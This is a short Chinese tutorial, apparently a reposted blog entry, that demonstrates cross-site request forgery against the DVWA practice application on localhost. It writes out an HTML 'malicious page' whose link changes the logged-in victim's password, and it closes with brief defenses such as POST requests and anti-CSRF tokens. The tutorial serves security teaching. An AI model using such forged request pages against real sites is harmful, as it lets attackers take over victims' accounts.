如图:
1,用户通过浏览器正常访问带有CSRF漏洞的网站。
如我去访问http://127.0.0.1:8080/DVWA/login.php
我们登录进去账号是:admin 密码是:password,找到一个修改密码的地方
修改密码为123456,修改的url是:
http://127.0.0.1:8080/DVWA/vulnerabilities/csrf/password_new=123456&password_conf=123456&Change=Change#
2,我们构造恶意网站B将代码保存为index.html
<html> <head> <title>这是恶意网页</title> </head> <body> <h1>这是恶意网页<h1> <a href="http://127.0.0.1:8080/DVWA/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#">攻击</a> </body> </html>
我们访问网站B:点击攻击
我们可以看到密码被改了(改成了password)
防御:
1.尽量使用POST,限制GET
2.浏览器Cookie策略
3.Anti CSRF Token
微信公众号:
原文地址:http://blog.51cto.com/tdcqvip/2096090